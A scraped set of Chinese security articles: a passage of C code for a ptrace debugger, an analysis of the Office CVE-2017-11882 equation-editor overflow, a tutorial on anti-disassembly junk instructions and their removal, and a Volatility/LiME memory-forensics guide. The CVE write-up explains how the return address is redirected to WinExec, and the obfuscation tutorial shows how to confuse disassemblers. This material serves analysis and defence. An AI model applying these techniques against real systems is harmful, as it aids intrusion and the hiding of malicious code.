ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
brk_enable(bp);
}else{
/*if we are here then this`s caused by PTRACE_SINGLESTEP and maybe we going to trigger a breakpoint or maybe not*/
possible_pc += 1;
one_machine_code_flag = false;
HASH_FIND_PTR(dbg->d_brks, &possible_pc, bp);
if(bp != NULL && bp->b_enabled){
brk_disable(bp);
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
brk_enable(bp);
}else{
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
}
}
}else{
/*the previous instruction is a single machine code instruction and breakpoint*/
possible_pc = get_pc(dbg); /*check current pc*/
one_machine_code_flag = false;
HASH_FIND_PTR(dbg->d_brks, &possible_pc, bp);
if(bp != NULL && bp->b_enabled){
brk_disable(bp);
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
brk_enable(bp);
}else{
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
}
}
show_UI(dbg);
}
步过主要用在函数调用上，在使用步过时主要考虑以下几种情况：
* pc触发了需要步过的call指令上的断点，即pc执行了0xcc
* pc即将步过的call指令上被插入了断点
* 其他就是单步情况
这里步过一个call采用的方式是在call指令下一条指令下断点然后PTRACE_CONT。同样使用capstone计算call指令长度然后断下后面一条指令，这样需要考虑如果被step
over的函数如果没有中断那么将触发call指令后面一条指令， **那么INT3被执行还需让pc-1**
/**
* This function invoked in 4 situation:
* 1.Just work as step in
* 2.jump over a call but has triggered an breakpoint(0xcc)
* 3.jump over a call but no breakpoint in current call instruction
* 4.jump over a call but there is 0xcc in current call instruction
* we can show UI here
*/
void dbg_step_over(Debugger *dbg){
uint64_t possible_pc_prev = get_pc(dbg) - 1; /*if this is breakpoint int 3 executed*/
uint64_t possible_pc_currn = possible_pc_prev + 1; /*if current instruction is breakpoint*/
Breakpoint *bp_prev = NULL;
Breakpoint *bp_currn = NULL;
uint64_t data;
uint64_t next_addr;
/*Maybe stoped for triggered a breakpoint*/
/*previous instruction. Jump over a call but has triggered an breakpoint(0xcc)*/
HASH_FIND_PTR(dbg->d_brks, &possible_pc_prev, bp_prev);
if(bp_prev != NULL && bp_prev->b_enabled && bp_prev->b_saved_data == 0xE8){ /*call`s op code is 0xE8*/
/*call instruction has been triggered*/
brk_disable(bp_prev);
data = ptrace(PTRACE_PEEKDATA, dbg->d_pid, possible_pc_prev, NULL);
csh handle = 0;
cs_insn* insn;
size_t count;
int child_status;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("[error]: Failed to initialize capstone engine!\n");
exit(-1);
}
cs_disasm(handle, (unsigned char*)&data, 8, possible_pc_prev, 1, &insn);
next_addr = possible_pc_prev + insn->size;
dbg_set_breakpoint_at_address(dbg, next_addr);
set_pc(dbg, possible_pc_prev);
continue_execution(dbg); /*Probably trigger another breakpoint in the function. So we need to disable it when stop*/
brk_enable(bp_prev);
HASH_FIND_PTR(dbg->d_brks, &next_addr, bp_prev);
if(bp_prev != NULL && bp_prev->b_enabled){
brk_disable(bp_prev); /*disable it*/
}
if((get_pc(dbg) - 1) == next_addr){ /*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/
set_pc(dbg, next_addr);
}
cs_free(insn, 1);
cs_close(&handle);
return;
}else if(bp_prev != NULL && bp_prev->b_enabled && bp_prev->b_saved_data != 0xE8){
/*normal instruction has been triggered. Just work as step in*/
dbg_step_in(dbg);
return;
}
/*stoped for PTRACE_SINGLESTEP*/
/*current instruction. Jump over a call but there is 0xcc in current call instruction*/
HASH_FIND_PTR(dbg->d_brks, &possible_pc_currn, bp_currn);
if(bp_currn != NULL && bp_currn->b_enabled && bp_currn->b_saved_data == 0xE8){
/*current instruction is breakpoint and it`s a function invoking*/
brk_disable(bp_currn);
data = ptrace(PTRACE_PEEKDATA, dbg->d_pid, possible_pc_currn, NULL);
csh handle = 0;
cs_insn* insn;
size_t count;
int child_status;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("[error]: Failed to initialize capstone engine!\n");
exit(-1);
}
cs_disasm(handle, (unsigned char*)&data, 8, possible_pc_currn, 1, &insn);
next_addr = possible_pc_currn + insn->size;
dbg_set_breakpoint_at_address(dbg, next_addr);
continue_execution(dbg); /*Probably trigger another breakpoint in the function. So we need to disable it when stop*/
brk_enable(bp_currn);
HASH_FIND_PTR(dbg->d_brks, &next_addr, bp_currn);
if(bp_currn != NULL && bp_currn->b_enabled){
brk_disable(bp_currn); /*disable it*/
}
if((get_pc(dbg) - 1) == next_addr){ /*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/
set_pc(dbg, next_addr);
}
cs_free(insn, 1);
cs_close(&handle);
return;
}else if(bp_currn != NULL && bp_currn->b_enabled && bp_currn->b_saved_data != 0xE8){
/*current instruction is a breakpoint but not a calling so we could just step over. Just work as step in */
dbg_step_in(dbg);
show_UI(dbg);
return;
}
/*not breakpoint in current invoking OR current normal instruction*/
data = ptrace(PTRACE_PEEKDATA, dbg->d_pid, possible_pc_currn, NULL);
if((data & 0xff) == 0xE8){
/*Current instruction is a call.Set breakpoint at next instruction then continue*/
csh handle = 0;
cs_insn* insn;
size_t count;
int child_status;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("[error]: Failed to initialize capstone engine!\n");
exit(-1);
}
cs_disasm(handle, (unsigned char*)&data, 8, possible_pc_currn, 1, &insn);
next_addr = possible_pc_currn + insn->size;
dbg_set_breakpoint_at_address(dbg, next_addr);
continue_execution(dbg);
HASH_FIND_PTR(dbg->d_brks, &next_addr, bp_currn);
if(bp_currn != NULL && bp_currn->b_enabled){
brk_disable(bp_currn);
}
if((get_pc(dbg) - 1) == next_addr){ /*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/
set_pc(dbg, next_addr);
}
cs_free(insn, 1);
cs_close(&handle);
return;
}else
dbg_step_in(dbg); /*Current instruction is normal. Just work as step in*/
}
到这里已经具备基本功能了，可以在`dbg_handle_command`中添加命令支持：
void dbg_handle_command(Debugger *dbg, char *cmd){
char *lcmd = strdup(cmd);
char *argv[8] = { 0 };
char *command;
argv[0] = strtok(lcmd, " ");
for(int i = 1; i < 8; i++){
argv[i] = strtok(NULL, " ");
if(argv[i] == NULL) break;
}
command = argv[0];
if(command == NULL) return;
if(is_prefix(command, "continue")){
continue_execution(dbg);
}else if(is_prefix(command, "quit")){
exit_debugger(dbg);
}else if(is_prefix(command, "break")){ /*format: break/b [addr]*/
if(argv[1] == NULL)
puts("command break expect an address!");
else{
dbg_set_breakpoint_at_address(dbg, strtoul(argv[1], NULL, 16));
}
}else if(is_prefix(command, "register")){ /*format: reg/r dump OR reg/r read/write [reg] value(hex)*/
if(is_prefix(argv[1], "dump"))
dbg_dump_all_regs(dbg);
else if(is_prefix(argv[1], "read")){
printf("value:\t0x%08lx\n", get_register_value(dbg->d_pid, get_register_from_name(argv[2])));
}else if(is_prefix(argv[1], "write")){
set_register_value(dbg->d_pid, get_register_from_name(argv[2]), strtoul(argv[3], NULL, 16));
}
}else if(is_prefix(command, "memory")){ /*memory/m read [addr] OR write [addr] [value]*/
if(is_prefix(argv[1], "read")){
printf("value:\t0x%08lx\n", dbg_read_memory(dbg, strtoul(argv[2], NULL, 16)));
}
else if(is_prefix(argv[1], "write")){
printf("0x%08lx\t->\t", dbg_read_memory(dbg, strtoul(argv[2], NULL, 16)));
dbg_write_memory(dbg, strtoul(argv[2], NULL, 16), strtoul(argv[3], NULL, 16));
printf("0x%08lx\n", dbg_read_memory(dbg, strtoul(argv[3], NULL, 16)));
}
}else if(is_prefix(command, "step")){ /*step in OR step over*/
if(is_prefix(argv[1], "in")){
dbg_step_in(dbg);
}else if(is_prefix(argv[1], "over")){
dbg_step_over(dbg);
}else{
puts("Usage: step in / step over");
}
}
else{
fprintf(stderr, "Unkown command: %s.\n", command);
}
return free(lcmd);
}
这些是目前完成的功能，还有进程和线程支持还未完成
### 汇编
一般debugger是要支持显示汇编的，这里实现的只是在每次单步和触发断点时打印寄存器信息和汇编。可以在每次单步或者触发断点时读取当前pc处的机器码借助capstone反汇编，
**但需要注意的是对于x86_64架构最长汇编指令为15字节但很少出现比较长的指令** ，所以实现汇编打印的时候每次仅读取16个字节进行反汇编并打印指令
/**
* consider of the longest instruction is 15bytes(x86_64) then we read 16bytes everytime
* and disassemble it with capstone engine
* befor invoking show_asm the caller should make sure current pc is not a breakpoint
*/
void show_asm(Debugger *dbg){
csh handle;
cs_insn *insn;
size_t count;
uint8_t *code;
size_t size = 15;
uint64_t address;
if(cs_open(CS_ARCH_X86, CS_MODE_64, &handle)){
printf("[error] cs_open(%d, %d, 0x%08lx)\n", CS_ARCH_X86, CS_MODE_64, &handle);
exit(-1);
}
code = calloc(1, 16);
address = get_pc(dbg);
*(uint64_t *)code = ptrace(PTRACE_PEEKDATA, dbg->d_pid, address, NULL);
*((uint64_t *)code + 1) = ptrace(PTRACE_PEEKDATA, dbg->d_pid, address + 8, NULL);
/*before we show assembly after pc we should consider if there is breakpoint in machine code behind*/
Breakpoint *bp = NULL;
for(uint64_t i = 0, tmp = address; i < size; i++){
HASH_FIND_PTR(dbg->d_brks, &tmp, bp);
if(bp != NULL && bp->b_enabled){
*((uint8_t *)code + i) = bp->b_saved_data;
}
tmp++;
}
puts("-------------------------[Assembly]-------------------------");
insn = cs_malloc(handle);
while(cs_disasm_iter(handle, (const uint8_t **)&code, &size, &address, insn)){
if(size + insn->size == 15)
printf("\e[96m0x%08lx:\t%s\t%s\t<======RIP\e[0m\n", insn->address, insn->mnemonic, insn->op_str);
else
printf("0x%08lx:\t%s\t%s\n", insn->address, insn->mnemonic, insn->op_str);
}
cs_free(insn, 1);
cs_close(&handle);
}
还有就是如果读取的15个字节中 **有断点(0xcc)那么反汇编结果是不准确的** ，因此先遍历是否存在断点并resotre原来的数据再进行反汇编。
## 效果
这里还没有实现多线程/进程调试的功能，[源码](https://github.com/squarepants0/minidbg)，但也算有个调试器的架子了
## 参考
* <https://github.com/kabeor/Capstone-Engine-Documentation/blob/master/Capstone-Engine%20Documentation.md>
* [Writing a Linux Debugger Part 1: Setup (tartanllama.xyz)](https://blog.tartanllama.xyz/writing-a-linux-debugger-setup/)：作者讲解非常详细，还涉及源码调试功能，这里就没有加入该功能
* [一文看懂 | GDB底层实现原理](https://mp.weixin.qq.com/s?__biz=MzA3NzYzODg1OA==&mid=2648465474&idx=2&sn=52dfd43e8f376e1ff16b2f81c3c002a7&scene=21#wechat_redirect)
* [自己动手写一个GDB｜基本功能](https://mp.weixin.qq.com/s?__biz=MzA3NzYzODg1OA==&mid=2648466708&idx=1&sn=fd765d1e3c958c194010f35728e46fb0&scene=21#wechat_redirect)
* [squarepants0/minidbg: Writing a minidbg on Linux with C (github.com)](https://github.com/squarepants0/minidbg)
* [troydhanson/uthash: C macros for hash tables and more (github.com)](https://github.com/troydhanson/uthash)
* [antirez/linenoise: A small self-contained alternative to readline and libedit (github.com)](https://github.com/antirez/linenoise)
* * * | 社区文章 |
# 【漏洞分析】Microsoft Office内存损坏漏洞（CVE–2017–11882)分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者** **：**[ **MerJerson,
houjingyi@360CERT**](http://bobao.360.cn/member/contribute?uid=2910463042)
**传送门**
[**【漏洞分析】CVE-2017-11882漏洞分析、利用及动态检测**](http://bobao.360.cn/learning/detail/4753.html)
**0x00背景**
2017年11月，微软在例行系统补丁发布中，修复了一个Office远程代码执行的严重漏洞，编号 **CVE-2017-11882**
。该漏洞类型为缓冲区溢出，位于 **EQNEDT32.EXE** 组件。受害用户打开恶意的office文档时，无需交互，就可能执行恶意代码。
据悉，这个组件是由Design Science Inc.开发的，后来由微软收购。
**该组件于2001年编译嵌入office，之后没有任何进一步的修改。所以该漏洞已存在17年之久。影响现阶段流行的所有office版本。**
360CERT经过分析确认，确定该漏洞存在远程命令执行风险，建议用户尽快更新相应补丁。
**0x01漏洞概述**
**EQNEDT32.EXE** 用于在文档中插入和编辑方程式。插入到文档中的任何公式都是 **OLE对象**
。该组件是在OLE技术规范下设计的。首发于Microsoft Office 2000和Microsoft 2003。从Microsoft Office
2007套件开始，显示和编辑方程的方法发生了变化，虽然EQNEDT32.EXE变得过时，不过，为了保持版本兼容性，它并没有从Office套件中删除。
EQNEDT32.EXE为OLE实现了一组标准的COM接口。
IOleObject
IDataObject
IOleInPlaceObject
IOleInPlaceActiveObject
IpersistStorage
而问题的就在于IpersistStorage:Load这个位置。因为历史久远，该组件开发的时候并没有例如ASLR这样的漏洞缓解措施。利用起来更加的方便。
**0x02 漏洞分析**
检测到VirusTotal上有该漏洞的POC，多家检测机构标注为CVE-2017-11882。（最开始只有微软能检测）
如上所说，通过恶意样本分析，问题出在 **EQNEDT.EXE** 中 **sub_41160F** 函数中。如图所示，
**strcpy函数没有检查复制时的长度造成了溢出。**
通过调试可以猜测在正常情况下eax寄存器也就是第一个参数应该是字体名。
通过rtfobj抽取样本中的OLE对象，发现字体名为cmd.exe……。
在填充的AAA……之后是0x430C12，也就是 **EQNEDT.EXE** 中调用 **WinExec** 的地方。
返回地址被覆盖为0x430C12，从而执行命令。
最后执行效果：
**0x03影响版本**
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
**0x04修复建议**
360CERT建议用户及时更新补丁，以提高系统安全性。
**缓解措施：该问题可通过修改注册表，禁用该模块的方式进行缓解。其中XX.X为版本号。**
reg add "HKLMSOFTWAREMicrosoftOfficeXX.XCommonCOM Compatibility{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLMSOFTWAREWow6432NodeMicrosoftOfficeXX.XCommonCOM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
**0x05时间线**
2017年11月14日 微软发布安全更新
2017年11月20日 Github放出利用代码
2017年11月21日 360CERT及时跟紧发布预警通报
**0x06参考文档**
<https://github.com/embedi/CVE-2017-11882>
<https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882> | 社区文章 |
前两篇文章介绍了两种加花的方法
1. 用`call $+5`等技巧获得当前EIP，并跳转到指令中间
2. 子函数劫持父函数流程
本文介绍一些更复杂的`jxx`，各种迷惑反汇编引擎的花式`patch`技巧
# 失败的尝试
先吐槽一下，`jz`&`jnz`跳转到同样的地址，形如
这个技巧根本就对抗不了IDA的反汇编引擎， **线性扫描算法** 和 **递归下降算法**
已经有所了解，但是各种资料都会提到这个做法，我这里尝试了根本就没用，不知道是不是我的打开方式不对
除非`jz`&`jnz`又跳转到之前提过的`EB`花指令上，但这也没有什么新意
# jmp到jmp+1
首先我们在一堆`nop`里`patch EB FF`，效果如下
jmp的指令位于地址`0x140001018`，而跳转到的指令是`0x140001019`，跳转到了 **jmp指令中间**
接下来我们利用`FF`做一些手脚，比如改成序列`EB FF C0`
注意到`FF C0`表示的是`inc eax`
再在之后添加`FF C8`，也就是`dec eax`
IDA中如图
> 这里我手动把`0xEB`看作了数据，但实际上这样会导致IDA的栈平衡分析失败
## 动态调试
这样的实际跳转流程是：
1. jmp => jmp+1
1. inc eax
2. dec eax
可以看到，动态调试时会暴露花指令所有的细节，但是想让IDA F5就不像之前按一下`d`视作数据一样了
如果把地址`jmp+1`看作代码，那么一定会破坏原来的`jmp`指令，似乎陷入了尴尬的境地...
> 不过本程序因为只是单一技巧的示例，我们人工分析后发现这三条指令其实什么也没干
>
> 把原先的`EB FF C0`直接`nop`三连即可
# 更复杂的布局
1. 先`mov ax,05EBH`，再`XOR eax,eax`，一般来说不会有什么影响，只是清零了EAX
其中有一个`EB`，是我们布局的关键
2. 再`patch 74 FA`，相当于`jz jz-6`，跳转到刚才的`EB`上，如图
把`0x140001005+2`看作代码
和刚才一样，这里简单的按`d`识别数据会破坏`jmp`指令
1. 把`0x14000100D`的指令再改成迷惑反汇编器的`EB`
## 动态调试
`patch`好之后，用IDA重新打开，画风很诡异
在这里下断点后
跳转到`0x7FF6466B1007`
再按一下`c`，识别成代码，跳转到原执行流`EB 05`也就是跳转到`下一条指令地址 + 5`的地址
## 去花
因为没有加反调试，动调不难发现花指令的执行逻辑，直接`nop`N连即可
用`IDAPython`的`patch`代码如下
def NopBytes(start, length):
for i in range(0, length):
PatchByte(start + i, 0x90)
MakeCode(start)
NopBytes(addr, n)
# 补充
> 一般花指令都是有规律可以找的，找到以后`nop`即可
写到这里，在想有没有简单`nop`不能轻松处理的，比如本文提到的会破坏原先的`jmp`
如果程序中本来就有合适的`jmp`系列指令，比如`EB
xxx`，跳转到原程序流程上，再根据这段偏移构造我们自己的代码块，可能会稍微复杂一些，因为不能直接把必要的原程序直接`nop`，不过应该也差别不大 | 社区文章 |
# The difference between Volatility2 and Volatility3
Volatility2 下的 profile 制作过程就不写了，提一句，vol2建议用`CentOS 7`来制作相应文件，不然在其他 Linux
系统（例如Ubuntu），解决软件依赖性得修好长时间（哭~~）
Volatility2：<https://www.jianshu.com/p/7288ac54cd5c>
## Profile
Profile是特定操作系统版本以及硬件体系结构（x86、x64、ARM）中`VTypes`、共用体、对象类型的集合。
> Vtypes 是 Volatility 框架中数据结构定义以及解析的语言，大部分操作系统底层都是使用 C
> 语言编写的，其中大量使用数据结构来组织和管理相关的变量以及属性。
>
> 因为 Volatility 是用 Python 语言编写的，所以我们需要一种方式在Python 源文件中表示 C 语言的数据结构。
>
> VTypes 正是用于实现这一点的。
除了这些组件以外，`Profile` 还包括如下:
* 元数据：操作系统的名称(例如:“windows”,“mac”,“linux”)，内核版本，以及编译号。
* 系统调用信息：索引以及系统调用的名称。
* 常量值：全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
* 系统映射：关键全局变量和函数的地址（仅限 Linux 和 Mac）
但在 Volatility3
中，不再使用配置文件`Profile`，取而代之，vol3自身带有一个扩展的符号表库`Symbols`，并且对于大多数Windows内存镜像，可以基于内存映像本身来生成新的符号表。它允许符号表包含基于该操作系统位置（符号位置）的特定偏移量。
也就是说利用官方调试信息提供的那些结构的已知偏移量，可以更轻松、更快速地识别操作系统中的结构。
## Symbol Tables
用于分析相关操作系统数据的内核符号表压缩包，其所有文件以JSON数据格式存储，可以是纯json文件`.json`，也可以是`.json.gz`或者`.json.xz`，Volatility3在使用它们时会自动解压。此外，Vol3会在用户主目录下的`.cache/volatility3`目录下会缓存他们的压缩内容，当前还无法更改这个缓存目录。
Vol3的symbol tables分为两类，上面的`Windows Symbol
tables`作为一类，由于对Mac和Linux采用相同的识别机制，统分为另外一类。
### Windows
对于WIndows系统，符号表字符串由所需`PDB`文件的`GUID`和`Age`组成，Volatility会搜索windows子目录下配置的所有文件，并与包含`pdb`名称，`GUID`/`Age`（或者其他压缩形式）的所有元数据进行匹配、利用。如果找不到的话，会从
Microsoft 官方的符号表服务器下载相关的`PDB`文件，并自动转化成适当的`JSON`格式，并存储在合适的位置。
可以从适当的 PDB 文件手动构建 Windows 符号表，而执行此操作的主要工具已经内置在 Volatility3了：`pdbconv.py`。
该文件支持从`Volatility3`的根路径运行，命令如下：
┌──(kali㉿kali)-[~]
└─$ python3 ./volatility3/framework/symbols/windows/pdbconv.py
Volatility官方也已经给出了Windows符号表：[Volatility3官方：Windows符号表下载](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
### Linux/Mac
[Volatility3官方：Mac符号表下载](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip)
对于 Mac，它只有特定数量的内核，但我们不会经常更新包，因为它有点耗时。
[Volitility3官方：Linux符号表（不全）](https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip)
[dwarf2json](https://github.com/volatilityfoundation/dwarf2json) 可以从
`DWARF`文件生成 Linux 和 Mac 符号表。而当前，利用内核中包含的调试符号表，是大多数Volatility3插件恢复信息的唯一合适方法。
值得注意的是，只有`-- elf`的方案在 vol3 中可行,其他使用如`Sysmap` 解析出来的 json
都是不可行的。(在vol2中生成profile会用到 Sysmap )
./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-4.4.0-137-generic > output.json
此外，为什么上面说Linux符号表信息不全呢？因为Linux内核易于编译且唯一，无法区分它们，因此官方提供的Linux符号表并不详尽，因此在面对Linux内存取证时，要自行生成符号表；并且，标准内核是被剥离了调试信息的，若想获取带有调试信息的，则需从文件中单独获取。
# LiME：Linux Memory Extractor
LiME是Linux可加载内核模块（LKM）Linux的内存提取器，它允许从Linux或者基于Linux的设备（如：Android）获取临时性内存（RAM）。LiME成为第一个允许在Android设备上捕获完整内存的工具，并且最大限度地减少了在获取过程中用户和内核空间进程之间的交互，因此LiME能生成比其他工具更可靠的内存捕获。
[基于LiME工具的Android手机动态内存提取](http://xsjs-cifs.com/article/2015/1008-3650-40-6-431.html)
[CentOS 5.5编译LiME](https://xz.aliyun.com/t/2346)
## 编译LiME
[root@localhost CentOS]# tar -zxvf LiME.tar.gz
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/LiME/src/
[root@localhost src]# make
make -C /lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/LiME/src" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
Building modules, stage 2.
MODPOST
LD [M] /home/yunwei/Desktop/malware/LiME/src/lime.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
strip --strip-unneeded lime.ko
mv lime.ko lime-2.6.18-194.el5.ko
[root@localhost src]# ll
total 1176
-rw-r--r-- 1 root root 2557 Sep 28 2017 disk.c
-rw-r--r-- 1 root root 168240 May 20 10:44 disk.o
-rw-r--r-- 1 root root 41984 May 20 11:46 lime-2.6.18-194.el5.ko
-rw-r--r-- 1 root root 1920 Sep 28 2017 lime.h
-rw-r--r-- 1 root root 1151 May 20 10:44 lime.mod.c
-rw-r--r-- 1 root root 81632 May 20 10:44 lime.mod.o
-rw-r--r-- 1 root root 505173 May 20 10:44 lime.o
-rw-r--r-- 1 root root 6614 Sep 28 2017 main.c
-rw-r--r-- 1 root root 175408 May 20 10:44 main.o
-rw-r--r-- 1 root root 1661 Sep 28 2017 Makefile
-rw-r--r-- 1 root root 1722 Sep 28 2017 Makefile.sample
-rw-r--r-- 1 root root 0 May 20 10:44 Module.markers
-rw-r--r-- 1 root root 0 May 20 10:44 Module.symvers
-rw-r--r-- 1 root root 3889 Sep 28 2017 tcp.c
-rw-r--r-- 1 root root 166152 May 20 10:44 tcp.o
## 抓取内存
`/home/centos/Desktop/forensic/centos5.lime`为自定义路径
## 进入内核模式抓取内存
[root@localhost src]# insmod lime-`uname -r`.ko path=/home/yunwei/Desktop/malware/centos5.lime format=lime
## 再次抓取内存前要先运行以下命令退出内核模式
[root@localhost src]# rmmod lime
## 制作元数据
### `dwarf2dump`使用
安装调试文件导出工具`dwarfdump`：
* 下载与编译libdwarf
## 解压Libdwarf
[root@localhost src]# git clone https://github.com/tomhughes/libdwarf.git
[root@localhost src]# tar -zxvf libdwarf.tar.gz
## 光盘安装依赖包
[root@localhost src]# cd /media/CentOS_5.5_Final/CentOS/
[root@localhost src]# rpm -ivh /media/CentOS_5.5_Final/CentOS/elfutils-libelf-0.137-3.el5.x86_64.rpm
[root@localhost libdwarf]# rpm -ivh elfutils-libelf-devel-static-0.137-3.el5.x86_64.rpm elfutils-libelf-devel-0.137-3.el5.x86_64.rpm elfutils-libelf-0.137-3.el5.x86_64.rpm
## 编译安装 libdwarf
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/libdwarf
[root@localhost CentOS]# ./configure
[root@localhost libdwarf]# make
### 若没有报错，则表示安装正确。
[root@localhost libdwarf]# cd dwarfdump/
[root@localhost dwarfdump]# make install
cp dwarfdump /usr/local/bin/dwarfdump
cp ./dwarfdump.conf /usr/local/lib/dwarfdump.conf
cp ./dwarfdump.1 /usr/local/share/man/man1/dwarfdump.1
[root@localhost dwarfdump]# dwarfdump -h
### 输入dwarfdump -h若没有报错，则表示安装正确。
* 生成内存镜像
[root@localhost malware]# tar -zxvf volatility.tar.gz
[root@localhost malware]# cd volatility/tools/linux/
## 错误
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CC [M] /home/yunwei/Desktop/malware/volatility/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:214: error: redefinition of ‘struct module_sect_attr’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:221: error: redefinition of ‘struct module_sect_attrs’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:375:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:391:5: warning: "DEBUG" is not defined
make[2]: *** [/home/yunwei/Desktop/malware/volatility/tools/linux/module.o] Error 1
make[1]: *** [_module_/home/yunwei/Desktop/malware/volatility/tools/linux] Error 2
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
make: *** [dwarf] Error 2
### 注释掉 198,7 ~ 221,7,编译问题就解决了
/*
#if LINUX_VERSION_CODE == KERNEL_VERSION(2,6,18)
....
struct module_sections module_sect_attrs;
#endif
*/
## 注释代码之后，编译输出状态
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CC [M] /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:354:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:370:5: warning: "DEBUG" is not defined
Building modules, stage 2.
MODPOST
CC /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.mod.o
LD [M] /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" clean
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CLEAN /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/.tmp_versions
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
# Construct the new kernel ISF JSON file
<https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html>
先运行Volatility3 的`banners`插件，以确定必要的内核版本。
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ python3 vol.py -f /mnt/f/backup2/dump.mem banners.Banners
Volatility 3 Framework 2.4.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x3e6001a0 Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)
0x3f191d94 Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)
0x710b7c88 Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)
0x7bd00010 Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)
注意：`banners.Banners`插件只能识别 Linux 镜像的banner信息，不识别 Windows。
然后我们需要符号表（symbol tables）。根据上面写的`dwarf2json`生成 json 的命令，是需要我们提供
`/usr/lib/debug/boot`目录下的`vmlinux`文件，但是系统往往不会自带该文件，然后发现在`/boot`目录下有一个相同名字的
`vmlinux` 文件，但是并不可用。
能不能不用banners插件？我是刚开始学的，看了看最近比赛的内存取证的WP，很多都是直接`strings`然后提取出来的。。。
## 借助Docker直接获取`dbgsym`文件安装在指定系统
<https://tttang.com/archive/1762/#toc_dbgsym>
Docker集成了我们需要的系统版本，这样就直接省去了重新搭建系统的麻烦，（我用的WSL2，WSL2没法像正常Linux系统安装Docker，可以去下载一个Docker
Desktop，开启相应设置）
获取源文件网址：<https://launchpad.net/ubuntu/+archive/primary/+files/> ，按需选择下载。
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ git clone https://github.com/volatilityfoundation/dwarf2json
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ cd dwarf2json
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ go build
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
